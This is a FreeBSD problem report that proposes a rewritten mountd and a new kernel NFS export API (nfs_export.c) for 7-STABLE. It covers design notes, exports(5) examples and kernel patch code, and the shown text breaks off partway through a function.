mountd and new API on 7-STABLE (see nfsserver/nfs_srvsubs.c:nfsrv_fhtovp() function patch). The mountd utility was completely rewritten, actually the better name for new utility with new properties would be "nfse". The single source file mountd.c was split into three .c and three .h files: mountd.c (previous code was rewritten and new code was added), mountd.h (new code), mountd_conf.c (new code), mountd_conf.h (new code), mountd_xdr.c (previous code was updated to support new data structure and options), mountd_xdr.h (previous code). The analog of kern/vfs_export.c was written from zero and now it is called nfssever/nfs_export.c. This version of mountd can be used on modified 7.2 system. It was tested (except WebNFS related settings) on amd64 and i386 arch. Support of 8.0 system is possible, it is necessary to modify the nfs_export.c:nfse_check() function (~60 lines) and add new NFSv4 related options, but since there are sys/nfssever/ and sys/fs/nfsserver/ that have functions that call VFS_CHECKEXP and there is activity in NFS development, it is unclear which arguments nfse_check() should accept. It is better to discuss arguments list and semantic of nfse_check() first. I think this is the only one function that does not allow to use these changes on 8.0 system. Available patches have only necessary changes to sys/nfsserver/, sys/kern/, sys/sys/ and sys/conf/. Complete changes require removing all NFS exports related data and code from directories not related to NFS. Also nfs_pub structure should be a part of the new nfsserver/nfs_export.c file. I did not make all these changes (all file systems, all NFS related flags in mount.h, etc.), just to show the main parts of changes. The following text contains more or less detail description of changes (definitely I forgot to mention something here). Major improvements: ------------------- * Now all export spec updates are atomic. mountd uses nfssvc(2) for this (the new nfssvc(NFSSVC_EXPORT) call is used). Now it is safe to reload exports files. * New nfs_export.c file was added to nfsserver/, all API details are located in nfs_export.h. All NFS related flags and structures are part of nfsserver. * Now mountd uses kernel event EVFILT_FS to see mount and umount VFS events. The mount(8) utility should not send sighup signal to mountd any more. New EVENTHANDLERs were declared: vfs_mount_event and vfs_unmount_event. Registered function for these handlers are invoked when a file system is mounted or unmounted respectively. The nfsserver uses these event handlers to synchronizes own data with available file systems. Memory leak was removed when an exported file system is unmounted. Now the nfssever understands covered file systems (file system mounted on mount point of another file system). * The mountd utility has a new option -c, that allows to modify export spec on-the-fly. One can clear, add, update, delete export spec. All updates are atomic. One commands set works like a transaction with changes, it is applied completely or is not applied at all. * Now mountd has the -t switch: parse configuration files or commands and output all settings to stdout. This option allows to check and see real configuration. Incompatible security changes: ------------------------------ * Now subdirectory export is disallowed. Subdirectory export does not improve security, instead it is the right way for misconfiguration (export settings for a subdirectory can be completely unrelated to this subdirectory and does not protect access to another parts of exported file system). The nfsserver exports file systems, not directories, looks like that subdirectory export for NFS is too complex or impossible to implement completely. Anyway there is nullfs. Having read RFCs, documentation for another NFS implementations and thoughts in user groups in Internet I think that this (radical) modification will improve security. This version of mountd has the same logic of export rules as nfsserver has. * Now mountd allows to mount file systems, subdirectories and regular files (if the -r flag is on) in exported file systems by default. The -alldirs option became obsolete. Compatible security changes: ---------------------------- * Ignoring exports files is not safe, since remote users can get wrong access rights. Alternative compatible solution: all exports file must be present, a user can specify directory/ and all regular files from the given directories will be loaded (any directory can be absent). * Now if mountd cannot correctly parse export specification for some file system, then it does not load anything to nfsserver for this file system. Ignoring something in exports file is not safe. * Now security flavors are per address specification settings in nfsserver and mountd. * In rare cases mountd completely ignore settings in exports file, and does not load anything into nfsserver (this can happen if mistake in configuration does not allow to finish file parsing). Updates for mountd: ------------------- * Now everywhere IPv4 and IPv6 addresses are used, since the kernel knows nothing about domain names, netgroups, etc. Now mountdtab file contains only address, MOUNT protocol's procedure EXPORT and DUMP output addresses. This removes problems with reverse name resolving, but sometimes entries are not removed on unmount (depends on used address). * Better output for MOUNT protocol's procedure EXPORT: host is an address, network is an address with prefix. * Now mountdtab is parsed more carefully. * Zone scope index checking was removed for IPv6 addresses, nfsserver does not check zone scope index. * Now mountdtab is saved only when mountd exists, no other program in the base system uses this file. The representation of mountdtab file's content in memory was optimized. * Do not leave PID file if some error occurred and mountd exited. * Allowed to use loopback addresses in the -h option. (I do not like design idea of -h, -p and similar options.) * Corrected incorrect binding when -p option is not used (nobody saw this because this can happen very seldom, but I could reproduce this error). * Wrong implementation of mask creation when prefix length is given as /prefixlength was corrected. Updates for nfsserver: ---------------------- * Previous nfsserver could access released memory returned by VFS_CHECKEXP. New code does have this problem. Updates for exports(5): ----------------------- * Added new option -host to allow to use host names and the same netgroups names at once. * Added new option -rw: read-write access. * Added flag `!' for hosts and networks, this flag means "deny access". * Added new line "options: ...", right now it is used for global -sec, -no_mntproc_dump and -no_mntproc_export options, later it can be used for NFSv4. * Added new option -nospec, that means "this line does not have any address specifications". * Added new option -no_mntproc_dump to disable MOUNT protocol's procedure DUMP. * Added new option -no_mntproc_export to disable MOUNT protocol's procedure EXPORT. * exports(5) says that -o is the only one compatible option. Actually there are others: -root and -r for -maproot, -m for -mask and -n for -network. Now mountd logs a warning message if an obsolete option is used. * Do not allow to use any option between -network and -mask. * Now #-comment can be anywhere in a line. * \xxx octal number can be used in directories names and option's arguments for representing an arbitrary character. * Now it is possible to mix hosts and netgroups with networks: "host1 -network=somenetwork host2". * Now it is possible to change options for particular host/network in one line: "-ro -mapall=user1 host1 -mapall=user2 host2" (host2 will inherit previous option -ro, but will get new -mapall option). Since previously exports(5) says that options must be given before hosts and networks, this change is backward compatible and allows to represent all settings for one file system in one logical line. * Content of exports(5) was simplified and updated. Open questions and tasks: ------------------------- * There must be a global solution to check whether it is possible to unload a KLD module when no process currently is working with its syscalls. * Looks like that first argument for nfssvc(2) is not a set of flags any more (according to STABLE, CURRENT and NFSv4 implementation). May be there is a sense to make it a value, not flags. * WebNFS related data in nfsserver is protected when export settings are set (in vfs_export.c and new nfs_export.c), but when other parts of nfsserver access WebNFS related data no synchronization is performed. * If a file system cannot be exported in NFS, then there must be some flag to indicate this (MNT_NFSEXPORTABLE or something more general, see fs/msdosfs/msdosfs_vfsops.c for example). * Should signals be checked more often in mountd? Right now signals are checked when mountd is waiting for RPC request, or if nfssvc's commands transaction timeout occurred. Previous code has race conditions with signals and does too many things disallowed by SUSv3 in signal handlers. * Should be there any limitation in nfsserver on number of export specifications and number of command transactions? * May be mountd should be renamed to something another, eg. nfse. NFSv4 does not use MNT procedure, but still needs utility for configuring access rights as I understand. Also nfse command name is more obvious for -c commands, eg. "nfse -c 'add /fs -ro'". As well /etc/exports can be renamed to /etc/nfs.exports, /var/db/mountdtab -> /var/db/nfse.mounts. Also such renaming will allow to use mountd and new nfse in 7-STABLE at the same time and mount(8) from 7-STABLE will not send SIGHUP to nfse, since its PID will be saved in the nfse.pid file. * netgroup.5 can be moved to src/lib/libc/gen/ or src/share/man/man5, this documentation is not part of mountd. Examples: --------- 1. Correct file: exports file: options: -no_mntproc_dump /fs -host 1.1.1.1 -ro 2.2.2.2 /fs -network 10.20.30.40 /home -mapall nobody -network 10/8 -mapall operator -network 20.1/8 "mountd -t" output: configure: reading file exports Global options: -no_mntproc_dump Directory /fs Export specifications: -ro -sec sys -maproot=-2:-2 -host 2.2.2.2 -rw -sec sys -maproot=-2:-2 -host 1.1.1.1 -rw -sec sys -maproot=-2:-2 -network 10.0.0.0/8 Directory /home (mount point) Export specifications: -rw -sec sys -mapall 2:5 -network 20.0.0.0/8 -rw -sec sys -mapall 65534:65534 -network 10.0.0.0/8 2. Wrong file: exports: /fs -ro 1.1.1.1 /fs -network 10/8 -host 1.1.1.1 /home -quiet -ro "mountd -t" output: configure: reading file exports parsing error: exports:2: duplicated address specification 1.1.1.1 was found in this line parsing error: exports:2: -host option's argument parsing failed Directory /fs Wrong configuration Directory /home (mount point) File system options: -quiet Export specifications: -ro -sec sys -maproot=-2:-2 (default) 3. Commands testing: mountd -t -c 'add /fs -ro -mapall nobody -host 1.1.1.1 -network !10/8' \ -c 'flush /home' -c 'update /usr -ro -mapall operator' configure: parsing -c commands Directory /fs Commands: -c add -ro -sec sys -mapall 65534:65534 -host 1.1.1.1 -c add -ro -sec sys -mapall 65534:65534 -network !10.0.0.0/8 Directory /home (mount point) Commands: -c flush Directory /usr (mount point) Commands: -c update -ro -sec sys -mapall 2:5 (default) 4. Specifying exports(5) files mountd /etc/exports /etc/local.exports /usr/local/nfs-export/ Files /etc/exports and /etc/local.exports must be present. The nfs-export directory can be absent, if it present or will be present, then all regular files from it are read. Related PR ---------- kern/9619: Restarting mountd kills existing mounts kern/131342: [nfs] mounting/unmounting of disks causes NFS to fail Sources ------- http://comsys.ntu-kpi.kiev.ua/~simon/nfse/ >How-To-Repeat: Try to copy files from some NFS exported directory and send a SIGHUP signal to mountd(8) several times. >Fix: Patch is not a single file, because modified files are located in different directories and rewritten mountd(8) source code is given as is (without diff). src/sys/conf/files: ######################################################################### --- files.orig 2009-03-23 11:53:09.000000000 +0200 +++ files 2009-05-26 18:09:36.000000000 +0300 @@ -2084,6 +2084,7 @@ nfsclient/nfs_vfsops.c optional nfsclient nfsclient/nfs_vnops.c optional nfsclient nfsclient/nfs_lock.c optional nfsclient +nfsserver/nfs_export.c optional nfsserver nfsserver/nfs_serv.c optional nfsserver nfsserver/nfs_srvsock.c optional nfsserver nfsserver/nfs_srvcache.c optional nfsserver ######################################################################### src/sys/kern/vfs_mount.c: ######################################################################### --- vfs_mount.c.orig 2009-03-02 11:23:05.000000000 +0200 +++ vfs_mount.c 2009-04-11 14:40:00.000000000 +0300 @@ -1083,6 +1083,7 @@ mtx_lock(&mountlist_mtx); TAILQ_INSERT_TAIL(&mountlist, mp, mnt_list); mtx_unlock(&mountlist_mtx); + EVENTHANDLER_INVOKE(vfs_mount_event, mp); vfs_event_signal(NULL, VQ_MOUNT, 0); if (VFS_ROOT(mp, LK_EXCLUSIVE, &newdp, td)) panic("mount: lost mount"); @@ -1336,6 +1337,7 @@ coveredvp->v_mountedhere = NULL; vput(coveredvp); } + EVENTHANDLER_INVOKE(vfs_unmount_event, mp); vfs_event_signal(NULL, VQ_UNMOUNT, 0); lockmgr(&mp->mnt_lock, LK_RELEASE, NULL, td); vfs_mount_destroy(mp); ######################################################################### src/sys/sys/mount.h: ######################################################################### --- mount.h.orig 2009-03-16 13:28:22.000000000 +0200 +++ mount.h 2009-04-11 14:38:40.000000000 +0300 @@ -727,6 +727,13 @@ vfs_extattrctl_t vfs_stdextattrctl; vfs_sysctl_t vfs_stdsysctl; +#include + +typedef void (*vfs_mount_event_fn)(void *, const struct mount *); +typedef void (*vfs_unmount_event_fn)(void *, const struct mount *); +EVENTHANDLER_DECLARE(vfs_mount_event, vfs_mount_event_fn); +EVENTHANDLER_DECLARE(vfs_unmount_event, vfs_unmount_event_fn); + #else /* !_KERNEL */ #include ######################################################################### src/sys/nfssever/: ######################################################################### diff -ruN nfsserver.orig/nfs.h nfsserver/nfs.h --- nfsserver.orig/nfs.h 2007-11-26 09:01:29.000000000 +0200 +++ nfsserver/nfs.h 2009-05-26 18:06:04.000000000 +0300 @@ -105,6 +105,7 @@ /* * Flags for nfssvc() system call. */ +#define NFSSVC_EXPORT 0x001 #define NFSSVC_NFSD 0x004 #define NFSSVC_ADDSOCK 0x008 diff -ruN nfsserver.orig/nfs_export.c nfsserver/nfs_export.c --- nfsserver.orig/nfs_export.c 1970-01-01 03:00:00.000000000 +0300 +++ nfsserver/nfs_export.c 2009-06-06 13:44:45.000000000 +0300 @@ -0,0 +1,1568 @@ +/*- + * Copyright (c) 2009 Andrey Simonenko + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD:$ + */ + +#include +__FBSDID("$FreeBSD:$"); + +#include "opt_inet.h" +#include "opt_inet6.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if defined(INET) || defined(INET6) +#include +#include +#endif + +#include +#include + +#include +#include + +#define NFSE_EXFLAG_RDONLY 0x0001 /* Read-only access. */ +#define NFSE_EXFLAG_MAPALL 0x0002 /* Change credentials for everyone. */ +#define NFSE_EXFLAG_DENY 0x0004 /* Deny access. */ + +#define RPCSEC_GSS_KRB5 100 +#define RPCSEC_GSS_KRB5I 200 +#define RPCSEC_GSS_KRB5P 300 + +MALLOC_DEFINE(M_NFSE, "nfse", "NFS export specifications data"); + +#define NFSE_EXPORT_RLOCK() rw_rlock(&nfse_export_rwlock) +#define NFSE_EXPORT_RUNLOCK() rw_runlock(&nfse_export_rwlock) +#define NFSE_EXPORT_WLOCK() rw_wlock(&nfse_export_rwlock) +#define NFSE_EXPORT_WUNLOCK() rw_wunlock(&nfse_export_rwlock) + +int nfse_api_used = 0; /* Non-zero if NFSE API is used. */ + +static eventhandler_tag nfse_mount_event_tag; +static eventhandler_tag nfse_unmount_event_tag; + +/* + * Read-write lock protects exports list, mutex protects exports data + * that is not changed and cannot disappear while nfse_check() is running. + */ +static struct rwlock nfse_export_rwlock; +static struct mtx nfse_export_mtx; + +/* + * Credentials specification. + */ +struct nfse_cred_exp { + LIST_ENTRY(nfse_cred_exp) link; /* For list building. */ + uid_t uid; /* Credentials UID. */ + u_int ngids; /* Number of credentials GIDs. */ + gid_t gids[NGROUPS]; /* Credentials GIDs. */ + u_int ref_count; /* Reference counter. */ +}; + +/* Global list of all credential specifications. */ +static LIST_HEAD(, nfse_cred_exp) nfse_cred_exp_list = + LIST_HEAD_INITIALIZER(nfse_cred_exp_list); + +/* + * Security flavors specification. + */ +struct nfse_secflav { + LIST_ENTRY(nfse_secflav) link; /* For list building. */ + u_int nsec; /* Number of security flavors. */ + int sec[NFSE_NSECFLAV]; /* Security flavors. */ + u_int ref_count; /* Reference counter. */ +}; + +/* Global list of all security flavors. */ +static LIST_HEAD(, nfse_secflav) nfse_secflav_list = + LIST_HEAD_INITIALIZER(&nfse_secflav_list); + +/* + * Export specification for one host or network (variable-sized structure). + */ +struct nfse_addr_exp { +#if defined(INET) || defined(INET6) + struct radix_node rnodes[2]; /* For building radix tree. */ +#endif + u_int flags; /* Export flags. */ + struct nfse_secflav *secflav; /* Security flavors. */ + struct nfse_cred_exp *cred_exp; /* Export credentials. */ + struct sockaddr sockaddr; /* Alignment for addresses. */ +}; + +#define NFSE_ADDR_EXP_SIZE(size) \ + (offsetof(struct nfse_addr_exp, sockaddr) + size) + +#define NFSE_ADDR_EXP_ADDR4(p) \ + ((struct sockaddr_in *)&(p)->sockaddr) + +#define NFSE_ADDR_EXP_MASK4(p) \ + (NFSE_ADDR_EXP_ADDR4(p) + 1) + +#define NFSE_ADDR_EXP_ADDR6(p) \ + ((struct sockaddr_in6 *)&(p)->sockaddr) + +#define NFSE_ADDR_EXP_MASK6(p) \ + (NFSE_ADDR_EXP_ADDR6(p) + 1) + +/* + * All information about one exported file system. + */ +struct nfse_fs_exp { + LIST_ENTRY(nfse_fs_exp) link; /* For list building. */ + struct mount *mp; /* Exported file system. */ + struct nfse_addr_exp *ae_def; /* Default export spec. */ +#ifdef INET + struct radix_node_head *ae4_rnh; /* Export spec. for IPv4. */ +#endif +#ifdef INET6 + struct radix_node_head *ae6_rnh; /* Export spec. for IPv6. */ +#endif +}; + +/* Export specification settings for all file systems. */ +static LIST_HEAD(, nfse_fs_exp) nfse_fs_exp_list = + LIST_HEAD_INITIALIZER(&nfse_fs_exp_list); + +/* + * User command descriptor. + */ +struct nfse_ucmd { + STAILQ_ENTRY(nfse_ucmd) link; /* For list building. */ + u_int command; /* Command code. */ + void *udata; /* Command's user data. */ + void *kdata; /* Command's kernel data. */ +}; + +/* List of user commands from one transaction. */ +STAILQ_HEAD(nfse_ucmd_list, nfse_ucmd); + +/* + * User export specification from NFSE_CMD_EXPORT command. + */ +struct nfse_ucmd_export_spec { + STAILQ_ENTRY(nfse_ucmd_export_spec) link; /* For list building. */ + uint32_t command; /* Command code. */ + u_int maskbits; /* Number of bits in mask. */ + sa_family_t family; /* Address family. */ + struct nfse_addr_exp *addr_exp; /* Associated export spec. */ +}; + +/* + * User NFSE_CMD_EXPORT command descriptor. + */ +struct nfse_ucmd_export { + char *path; /* Mount point. */ + fsid_t fsid; /* File system ID. */ + uint32_t status; /* Status flags. */ + struct nfse_fs_exp *fs_exp; /* New exported file system. */ + STAILQ_HEAD(, nfse_ucmd_export_spec) es_list; /* Spec. list. */ +}; + +/* + * User NFSE_CMD_EVENT command descriptor. + */ +struct nfse_ucmd_event { + char *path; /* Mount point. */ + fsid_t fsid; /* File system ID. */ + uint32_t status; /* Status flags. */ +}; + +/* + * User NFSE_CMD_WEBNFS command descriptor. + */ +struct nfse_ucmd_webnfs { + char *path; /* Mount point. */ + char *index; /* WebNFS index file. */ + fsid_t fsid; /* File system ID. */ + struct fid fid; /* File ID of root vnode. */ + uint32_t status; /* Status flags. */ + fhandle_t handle; /* Filehandle. */ +}; + +#define NFSE_TR_TIMEOUT 20 /* Transaction timeout in seconds. */ + +#define NFSE_TR_BUSY 1 /* Transaction is being updated. */ +#define NFSE_TR_ACTIVE 2 /* Transaction was recently updated. */ +#define NFSE_TR_INACTIVE 3 /* Transaction was not updated. */ + +/* + * Transaction with user commands descriptor. + */ +struct nfse_tr { + LIST_ENTRY(nfse_tr) link; /* For list building. */ + pid_t pid; /* PID of transaction owner. */ + uid_t uid; /* UID of transaction owner. */ + u_int trid; /* Transaction ID. */ + u_int state; /* Transaction state. */ + struct nfse_ucmd_list uc_list; /* User commands list. */ +}; + +/* List of all transactions. */ +static LIST_HEAD(, nfse_tr) nfse_tr_list = + LIST_HEAD_INITIALIZER(nfse_tr_list); + +static struct mtx nfse_tr_mtx; /* Transactions list mutex. */ + +static struct callout nfse_tr_callout; /* Callout to monitor transactions. */ + +/* + * Release memory used by nfse_addr_exp structure. + */ +static void +nfse_addr_exp_free(struct nfse_addr_exp *ae) +{ + struct nfse_secflav *sf; + struct nfse_cred_exp *ce; + + ce = ae->cred_exp; + sf = ae->secflav; + + /* Drop references on shared data. */ + mtx_lock(&nfse_export_mtx); + ce->ref_count--; + if (ce->ref_count == 0) { + LIST_REMOVE(ce, link); + free(ce, M_NFSE); + } + sf->ref_count--; + if (sf->ref_count == 0) { + LIST_REMOVE(sf, link); + free(sf, M_NFSE); + } + mtx_unlock(&nfse_export_mtx); + + /* Release own memory. */ + free(ae, M_NFSE); +} + +/* + * Release memory related to WebNFS. + */ +static void +nfse_webnfs_free(void) +{ + if (nfs_pub.np_valid) { + nfs_pub.np_valid = 0; + free(nfs_pub.np_index, M_TEMP); + nfs_pub.np_index = NULL; + } +} + +/* + * Create new nfse_fs_exp structure. + */ +static struct nfse_fs_exp * +nfse_fs_exp_new(void) +{ + struct nfse_fs_exp *fe; + + fe = malloc(sizeof(*fe), M_NFSE, M_WAITOK); + fe->ae_def = NULL; +#ifdef INET6 + fe->ae6_rnh = NULL; +#endif +#ifdef INET + fe->ae4_rnh = NULL; + if (!rn_inithead((void **)&fe->ae4_rnh, + offsetof(struct sockaddr_in, sin_addr) << 3)) + return (NULL); +#endif +#ifdef INET6 + if (!rn_inithead((void **)&fe->ae6_rnh, + offsetof(struct sockaddr_in6, sin6_addr) << 3)) + return (NULL); +#endif + return (fe); +} + +#if defined(INET) || defined(INET6) +/* + * Release memory used by one nfse_addr_exp node in the given radix tree. + */ +static int +nfse_addr_exp_rn_free(struct radix_node *rn, void *h) +{ + struct radix_node_head *rnh; + + rnh = h; + rnh->rnh_deladdr(rn->rn_key, rn->rn_mask, rnh); + nfse_addr_exp_free((struct nfse_addr_exp *)rn); + return (0); +} + +/* + * Release memory used by the given radix tree of nfse_addr_exp structures. + */ +static void +nfse_addr_exp_rnh_free(struct radix_node_head *rnh, const int clear) +{ + rnh->rnh_walktree(rnh, nfse_addr_exp_rn_free, rnh); + if (!clear) { + RADIX_NODE_HEAD_DESTROY(rnh); + free(rnh, M_RTABLE); + } +} +#endif + +/* + * Release memory used by one nfse_fs_exp structure. + */ +static void +nfse_fs_exp_free(struct nfse_fs_exp *fe, const int clear) +{ + if (fe->ae_def != NULL) { + nfse_addr_exp_free(fe->ae_def); + fe->ae_def = NULL; + } +#ifdef INET + nfse_addr_exp_rnh_free(fe->ae4_rnh, clear); +#endif +#ifdef INET6 + nfse_addr_exp_rnh_free(fe->ae6_rnh, clear); +#endif + if (!clear) { + if (nfs_pub.np_valid && nfs_pub.np_mount == fe->mp) + nfse_webnfs_free(); + free(fe, M_NFSE); + } +} + +/* + * Release one user command. + */ +static void +nfse_ucmd_free(struct nfse_ucmd *uc) +{ + struct nfse_ucmd_event *uc_event; + struct nfse_ucmd_export *uc_export; + struct nfse_ucmd_export_spec *uc_es, *uc_es_next; + struct nfse_ucmd_webnfs *uc_webnfs; + + switch (uc->command) { + case NFSE_CMD_EXPORT: + uc_export = uc->kdata; + free(uc_export->path, M_NFSE); + if (uc_export->fs_exp != NULL) + nfse_fs_exp_free(uc_export->fs_exp, 0); + STAILQ_FOREACH_SAFE(uc_es, &uc_export->es_list, link, + uc_es_next) { + switch (uc_es->command) { + case NFSE_CMD_EXPORT_ADD: + case NFSE_CMD_EXPORT_UPDATE: + if (uc_es->addr_exp != NULL) + nfse_addr_exp_free(uc_es->addr_exp); + break; + case NFSE_CMD_EXPORT_DELETE: + free(uc_es->addr_exp, M_NFSE); + break; + } + free(uc_es, M_NFSE); + } + break; + case NFSE_CMD_EVENT: + uc_event = uc->kdata; + free(uc_event->path, M_NFSE); + break; + case NFSE_CMD_WEBNFS: + uc_webnfs = uc->kdata; + free(uc_webnfs->path, M_NFSE); + free(uc_webnfs->index, M_TEMP); + break; + } +} + +/* + * Release list of user commands. + */ +static void +nfse_ucmd_list_free(struct nfse_ucmd_list *uc_list) +{ + struct nfse_ucmd *uc, *uc_next; + + STAILQ_FOREACH_SAFE(uc, uc_list, link, uc_next) { + if (uc->kdata != NULL) { + nfse_ucmd_free(uc); + free(uc->kdata, M_NFSE); + } + free(uc, M_NFSE); + } +} + +/* + * Create a new transaction. + */ +static struct nfse_tr * +nfse_tr_new(const struct thread *td) +{ + const struct nfse_tr *tr0; + struct nfse_tr *tr; + + tr = malloc(sizeof(*tr), M_NFSE, M_WAITOK); + tr->pid = td->td_proc->p_pid; + tr->uid = td->td_ucred->cr_uid; + tr->trid = 1; + tr->state = NFSE_TR_BUSY; + STAILQ_INIT(&tr->uc_list); + + mtx_lock(&nfse_tr_mtx); + for (;;) { + LIST_FOREACH(tr0, &nfse_tr_list, link) + if (tr0->pid == tr->pid && tr0->uid == tr->uid && + tr0->trid == tr->trid) { + tr->trid++; + break; + } + if (tr0 == NULL) + break; + } + LIST_INSERT_HEAD(&nfse_tr_list, tr, link); + mtx_unlock(&nfse_tr_mtx); + + return (tr); +} + +/* + * Release memory used by one transaction including memory used + * by user commands. + */ +static void +nfse_tr_free(struct nfse_tr *tr) +{ + nfse_ucmd_list_free(&tr->uc_list); + free(tr, M_NFSE); +} + +/* + * Release memory used by all transactions. + */ +static void +nfse_tr_free_all(void) +{ + struct nfse_tr *tr, *tr_next; + + LIST_FOREACH_SAFE(tr, &nfse_tr_list, link, tr_next) + nfse_tr_free(tr); +} + +/* + * Callout function for transactions list. + */ +static void +nfse_tr_timeout(void *arg __unused) +{ + struct nfse_tr *tr, *tr_next; + + LIST_FOREACH_SAFE(tr, &nfse_tr_list, link, tr_next) + switch (tr->state) { + case NFSE_TR_ACTIVE: + tr->state = NFSE_TR_INACTIVE; + break; + case NFSE_TR_INACTIVE: + LIST_REMOVE(tr, link); + nfse_tr_free(tr); + break; + } + if (!LIST_EMPTY(&nfse_tr_list)) { + callout_reset(&nfse_tr_callout, NFSE_TR_TIMEOUT * hz, + nfse_tr_timeout, NULL); + } +} + +/* + * Find transaction with the given ID and context, unlink it if the + * trci flag is set or mark it as busy. + */ +static struct nfse_tr * +nfse_tr_find(const struct thread *td, const u_int trid, const int trci) +{ + struct nfse_tr *tr; + pid_t pid; + uid_t uid; + + pid = td->td_proc->p_pid; + uid = td->td_ucred->cr_uid; + mtx_lock(&nfse_tr_mtx); + LIST_FOREACH(tr, &nfse_tr_list, link) + if (tr->pid == pid && tr->uid == uid && tr->trid == trid) { + if (tr->state == NFSE_TR_BUSY) { + tr = NULL; + break; + } + if (trci) { + LIST_REMOVE(tr, link); + if (LIST_EMPTY(&nfse_tr_list)) + callout_stop(&nfse_tr_callout); + } else + tr->state = NFSE_TR_BUSY; + break; + } + mtx_unlock(&nfse_tr_mtx); + + return (tr); +} + +/* + * Reset a transaction activity. + */ +static void +nfse_tr_reset(struct nfse_tr *tr) +{ + mtx_lock(&nfse_tr_mtx); + if (LIST_NEXT(LIST_FIRST(&nfse_tr_list), link) == NULL) + callout_reset(&nfse_tr_callout, NFSE_TR_TIMEOUT * hz, + nfse_tr_timeout, NULL); + tr->state = NFSE_TR_ACTIVE; + mtx_unlock(&nfse_tr_mtx); +} + +/* + * Cancel transaction and release its memory. + */ +static void +nfse_tr_cancel(struct nfse_tr *tr) +{ + mtx_lock(&nfse_tr_mtx); + LIST_REMOVE(tr, link); + if (LIST_EMPTY(&nfse_tr_list)) + callout_stop(&nfse_tr_callout); + mtx_unlock(&nfse_tr_mtx); + nfse_tr_free(tr); +} + +/* + * Get one export specification from NFSE_CMD_EXPORT command. + */ +static int +nfse_cmd_export_spec_get(struct nfse_ucmd_export_spec **uc_es_p, + struct nfse_cmd_export_spec *cmd_es) +{ + struct nfse_ucmd_export_spec *uc_es; + struct nfse_addr_exp *ae; + struct nfse_cred_exp *ce; + struct nfse_secflav *sf; + size_t size; + u_int i, j, addrlen, maskbits; + int error; + uint32_t command; + sa_family_t family; + + /* Check whether the given address family is supported. */ + uc_es = *uc_es_p; + family = cmd_es->family; + switch (family) { + case AF_INET: +#ifdef INET + size = sizeof(struct sockaddr_in); + addrlen = 4; + break; +#else + free(uc_es, M_NFSE); + *uc_es_p = NULL; + return (0); +#endif + case AF_INET6: +#ifdef INET6 + size = sizeof(struct sockaddr_in6); + addrlen = 16; + break; +#else + free(uc_es, M_NFSE); + *uc_es_p = NULL; + return (0); +#endif + case AF_UNSPEC: + size = 0; + addrlen = 0; + break; + default: + return (EINVAL); + } + + /* Verify mask length. */ + maskbits = uc_es->maskbits = cmd_es->maskbits; + if (maskbits != 0) { + if (maskbits > addrlen * 8) + return (EINVAL); + size *= 2; + } + + /* Verify command and allocate needed data structures. */ + ce = NULL; + sf = NULL; + command = uc_es->command = cmd_es->flags & NFSE_CMD_EXPORT_CMDMASK; + switch (command) { + case NFSE_CMD_EXPORT_ADD: + case NFSE_CMD_EXPORT_UPDATE: + ce = malloc(sizeof(*ce), M_NFSE, M_WAITOK); + sf = malloc(sizeof(*sf), M_NFSE, M_WAITOK); + /* FALLTHROUGH */ + case NFSE_CMD_EXPORT_DELETE: + ae = malloc(NFSE_ADDR_EXP_SIZE(size), M_NFSE, M_WAITOK|M_ZERO); + break; + case NFSE_CMD_EXPORT_CLEAR: + return (0); + default: + return (EINVAL); + } + + if (command != NFSE_CMD_EXPORT_DELETE) { + /* Copy in and verify credentials and security flavors. */ + if (cmd_es->nsec == 0 || cmd_es->nsec > NFSE_NSECFLAV || + cmd_es->ngids > NGROUPS) { + error = EINVAL; + goto failed; + } + ce->uid = cmd_es->uid; + if (cmd_es->ngids > 0) { + error = copyin(cmd_es->gids, ce->gids, + cmd_es->ngids * sizeof(*cmd_es->gids)); + if (error != 0) + goto failed; + } + ce->ngids = cmd_es->ngids; + for (i = 0; i < ce->ngids; ++i) + for (j = i + 1; j < ce->ngids; ++j) + if (ce->gids[i] == ce->gids[j]) { + error = EINVAL; + goto failed; + } + error = copyin(cmd_es->sec, sf->sec, + cmd_es->nsec * sizeof(*cmd_es->sec)); + if (error != 0) + goto failed; + sf->nsec = cmd_es->nsec; + for (i = 0; i < sf->nsec; ++i) { + switch (sf->sec[i]) { + case AUTH_SYS: + case RPCSEC_GSS_KRB5: + case RPCSEC_GSS_KRB5I: + case RPCSEC_GSS_KRB5P: + break; + default: + error = EINVAL; + goto failed; + } + for (j = i + 1; j < sf->nsec; ++j) + if (sf->sec[i] == sf->sec[j]) { + error = EINVAL; + goto failed; + } + } + + /* Translate flags. */ + if (cmd_es->flags & NFSE_CMD_EXPORT_RDONLY) + ae->flags |= NFSE_EXFLAG_RDONLY; + if (cmd_es->flags & NFSE_CMD_EXPORT_MAPALL) + ae->flags |= NFSE_EXFLAG_MAPALL; + if (cmd_es->flags & NFSE_CMD_EXPORT_DENY) + ae->flags |= NFSE_EXFLAG_DENY; + } + + /* + * If this is not a default export, then copy in address + * and create mask. + */ + if (addrlen != 0) { + uint8_t *mask; + + mask = NULL; +#ifdef INET + if (family == AF_INET) { + struct sockaddr_in *sa4; + + sa4 = NFSE_ADDR_EXP_ADDR4(ae); + sa4->sin_len = sizeof(*sa4); + error = copyin(cmd_es->addr, 